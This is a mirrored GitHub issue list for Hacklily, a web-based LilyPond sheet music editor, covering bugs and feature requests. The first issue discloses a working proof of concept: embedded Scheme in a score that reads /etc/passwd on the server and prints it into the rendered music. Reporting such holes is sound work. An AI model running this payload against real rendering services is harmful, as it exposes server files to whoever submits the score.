Giter Site home page Giter Site logo

jocelyn-stericker / hacklily Goto Github PK

View Code? Open in Web Editor NEW
332.0 17.0 27.0 40.19 MB

A web-based sheet music editor and publishing platform.

Home Page: https://www.hacklily.org

License: GNU General Public License v3.0

JavaScript 0.19% HTML 1.61% CSS 0.23% Shell 0.31% C++ 3.45% QMake 0.05% TypeScript 87.91% Dockerfile 0.21% Rust 6.02% LilyPond 0.02%
lilypond sheet-music-editor music sheet-music

hacklily's Issues

security issue

you should reconsider how you are using lilypond. The following will dump /etc/passwd into a piece of sheet music.

\header {
title = "Untitled"
composer = "Composer"
}

#(define s "")
#(let*
(
(f (open-input-file "/etc/passwd"))
(cs '())
(c (read-char f))
(n 0)
)

(while (and (not (eof-object? c)) ( < n 50))
(set! cs (cons c cs))
(set! n (+ 1 n))
(set! c (read-char f)))
(set! s (list->string (reverse cs)))
)

\score {
\relative c' {
g4^#s
}

\layout {}
\midi {}
}

MusicXML import

The ability to import MusicXML files (using LilyPond's musicxml2ly) would be a nice feature. I checked the source code and commit history, and it looks like some work has been done on this[1] but I did not find a way to do an import in the UI. So I'm curious about the current status and what remains to be done for this.

[1] MusicXML commits: 9eb5821 cfee68c

Building renderer fails

Trying to run ws-server, I find a build error. Manually building the renderer shows me:

Sending build context to Docker daemon   7.68kB
Step 1/12 : FROM debian:sid-slim
 ---> 6d7423739c45
Step 2/12 : RUN apt-get update && apt-get install --no-install-recommends -y ruby curl bzip2 git locales gsfonts ghostscript fonts-dejavu-extra psmisc emacs-intl-fonts xfonts-intl-.* fonts-ipafont-mincho xfonts-bolkhov-75dpi xfonts-cronyx-100dpi xfonts-cronyx-75dpi patch python2 python3 &&     localedef -i en_US -c -f UTF-8 -A /usr/share/locale/locale.alias en_US.UTF-8 &&     curl -L https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 > /usr/local/bin/jq &&     chmod +x /usr/local/bin/jq && echo 42 | jq .
 ---> Running in 1aa342bb8bed
Get:1 http://deb.debian.org/debian sid InRelease [198 kB]
Get:2 http://deb.debian.org/debian sid/main amd64 Packages [9759 kB]
Fetched 9957 kB in 2s (4822 kB/s)
Reading package lists...
Reading package lists...
Building dependency tree...
Reading state information...
Package python2 is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source

E: Package 'python2' has no installation candidate
The command '/bin/sh -c apt-get update && apt-get install --no-install-recommends -y ruby curl bzip2 git locales gsfonts ghostscript fonts-dejavu-extra psmisc emacs-intl-fonts xfonts-intl-.* fonts-ipafont-mincho xfonts-bolkhov-75dpi xfonts-cronyx-100dpi xfonts-cronyx-75dpi patch python2 python3 &&     localedef -i en_US -c -f UTF-8 -A /usr/share/locale/locale.alias en_US.UTF-8 &&     curl -L https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 > /usr/local/bin/jq &&     chmod +x /usr/local/bin/jq && echo 42 | jq .' returned a non-zero code: 100

so current Debian sid doesn't seem to have Python2 anymore, at least not in the repositories used here (main).
And indeed, searching for it in stable doesn't return anything, but oldstable has it.

A temporary fix would be to use an older Debian version as base image.
Why is Python 2 needed?

github error

I cannot save file to github, getting "Error: Could not save file."
I tried renaming main to master.
If I upload a .ly file to sheet-music/master, I can open it in hacklily.org. But I again cannot save it.
Firefox / Ubuntu 22.04.
Thank you!

Search over folders

Hello there!

It's not a real issue, but I would ask if there is a way to search over all the Repository, like on Omet.ca where you can search over all the repository and the folders where all the music stays. It could be a perfect thing, for organize the sheets. Hoping it can be a "easy to implement" thing, thank you again for that beautiful instrument you've done!

Tools don’t use the document language

I always use \language "english", but tools like Change Key Signature don’t respect that, still writing fis and ges for F♯ and G♭ rather than fs and gf.

See define-note-names.scm for the current supported languages and how to write notes in that language. Here’s a simple regular expression for detecting the language: /\\language "(nederlands|catalan|deutsch|english|espanol|italiano|norsk|portugues|suomi|svenska|vlaams)"/.

Play button doesn't work

The "Play" button isn't working.

It displays CORS error in console log:

Access to fetch at 'https://www.hacklily.org/hackmidi/samples/timidity.cfg' from origin 'https://hacklily.org' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

Update Lilypond

Would it be possible to update Lilypond? The hacklily version is 2.19 and the current Lilypond is 2.22. Thanks!

Export to MIDI and PDF

Super cool tool! I can see myself using this in the future. One thing I'm missing is the option to export to something like music-xml, midi, musescore etc...

Great work, thank you!

Allow private github repos, improve repo creation process

After github login hacklily errors with repo not being able to be made. I think you have to have a sheet-music public repo . It used to be you could save private github repos, I know because I have a private repo that has alot of stuff in it from hacklily. I was actually using this tool pretty consistently at that time, and was going to use it again. Why the switch to public only?

Hacklily editor is broken

Hello!

The LilyPond editor (left side) on hacklily.org is broken since a couple of days. Each time user is typing something, the cursor is going back to the begin of the text, making it unusable.

Thoughts on removing lyp

Hello Jocelyn,

First off, I want to thank you for the amazing work which you have done with Hacklily. It is an absolutely amazing tool for LilyPond development.

What do you think about removing lyp from Hacklily? It does not look like the lyp codebase has been touched for several years and lyp does not built on ARM processors.

Is \include expected to work?

Want to use some standard aliases, and if I can get that to work https://github.com/kastdeur/lilydrum but so far getting "Could not render file: Crashed during render: Canary died." on \include statements.

Looking at #5 it seems like this should be possible, unless something has been done since then.

Also posting this as if it's okay I may try to get this to work more intensively, but this would involve using the same kind of commands as mentioned in #5, and I don't want you to think there's a hacking attempt or something.

"Something went wrong. Could not log you in." when open/save to github.

Getting a pop-up with "Something went wrong. Could not log you in." when open/save to github.

The initial repo creation of the public sheet-music repo did work.

Tried from Chrome and Firefox, tried disabling ad blockers, tried incognito/private mode, no dice. I just have normal auth set up on github, no two-factor or anything.

I also tried making a brand new github account - hacklillytest - same issue.

Error saving to github

Hi! I love the idea of hacklily, having a browser based IDE for sheet music creation is a great idea! However, whenever I try to save a file, I get this:

image

Note that the very first time it did successfully create the sheet-music repository, so I know that authentication and permissions on github are working. I'm using Chrome on Windows 10. I suspected Chrome extensions to be the issue, but I tried in an incognito window without extensions and got the same error.

Please let me know if you have any suggestions! Thanks!

Music may be played at wrong speed (too fast)

Hello!

There is an issue with the Play button. On some computer, the sound you hear is pitched almost a semitone too high, because it is played too fast.

This is due to an erroneous AudioContext instantiation in Hackmidi module. Audio Context is created using system default sampling rate, which can be 48000 Hz, while MIDI notes are converted at 44100 Hz.

To fix the issue you can now pass the same sampling rate as the audio conversion as an argument as described here: https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/AudioContext#example

Problems previewing scores longer than one page

When a score becomes longer than one page the preview output seems to become corrupted. PDF download is fine, but the right-pane preview isn't.

I can potentially try to dig in and debug/fix this, but if anyone has any initial context/pointers (or if e.g. this is a known limitation that would require significant refactoring to fix) that would be useful.

Can be recreated with this score:

\header {
  title = "Untitled"
  composer = "Composer"
}

\score {
  \relative c' {
    \repeat unfold 1000 { c4 }
  }

  \layout {}
  \midi {}
}

Saving a song with Unicode characters to GitHub results in garbage

Browser: FF 62

URL/LilyPond source:

\version "2.19.82"

% Cyrillic font
bulgarian = \lyricmode {
  Жълтата дюля беше щастлива, че пухът, който цъфна, замръзна като гьон.
}

hebrew = \lyricmode {
  זה כיף סתם לשמוע איך תנצח קרפד עץ טוב בגן.
}

japanese = \lyricmode {
  いろはにほへど ちりぬるを
  わがよたれぞ  つねならむ
  うゐのおくや  まけふこえて
  あさきゆめみじ ゑひもせず
}

% "a legal song to you"
portuguese = \lyricmode {
  à vo -- cê uma can -- ção legal
}

\relative c' {
  c2 d
  e2 f
  g2 f
  e1
}
\addlyrics { \bulgarian }
\addlyrics { \hebrew }
\addlyrics { \japanese }
\addlyrics { \portuguese }

Detailed steps to reproduce the problem:

  • Go to https://www.hacklily.org
  • Set the source to the above.
  • Click Save / share from the menubar and save it
  • The source changes to the following:

\version "2.19.82"

% Cyrillic font
bulgarian = \lyricmode {
  ��л�а�а д�л� бе�е �а��лива, �е п����, кой�о ���на, зам��зна ка�о г�он.
}

hebrew = \lyricmode {
  �� ��ף סת� �ש��ע ��� תנצ� קרפ� עץ ��� ���.
}

japanese = \lyricmode {
  ������� �����
  ������  �����
  ������  ������
  ������� �����
}

% "a legal song to you"
portuguese = \lyricmode {
  à vo -- cê uma can -- ção legal
}

\relative c' {
  c2 d
  e2 f
  g2 f
  e1
}
\addlyrics { \bulgarian }
\addlyrics { \hebrew }
\addlyrics { \japanese }
\addlyrics { \portuguese }

MIDI import API?

Hi Joshua, this is quite nice! Well done. I like the interface and the responsiveness. The syntax coloring in the dark theme seems just right, to my taste.

Would you be interested in a collaboration? I'm the author of tbon, a notation language that's meant as a front end for quickly entering and editing pitch, rhythm and dynamics and deferring the niceties of engraving to other tools like LilyPond and MuseScore.

See http://github.com/Michael-F-Ellis/tbon for details and a link to a (very minimalist) live demo.

I'm passionate about not re-inventing the wheel, so I'd love to be able to add an "open in hacklily" button to my demo that posts a midi file to your site for conversion by LilyPond's mid2ly and display in your interface in a new browser window. Or possibly I could do the conversion locally and send a .ly file. Or whatever helps to make both our projects useful to as many people as possible.

Cheers,
Mike

SVG export

Great project. Since it creates a SVG for the webview... why not add svg export?

Error alert when logging in to GitHub repo

Whenever I login to my GitHub repo to open a file, I get an error alert box at first saying:

Something went wrong. Could not log you in.

When I click on File:Open... again after that, it suddenly works and I can open files from my repo.

This error always only happens on the first try, the second try seems to always work fine.

Since it works on the second attempt, it isn't an especially serious error, however, it is kind of odd.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.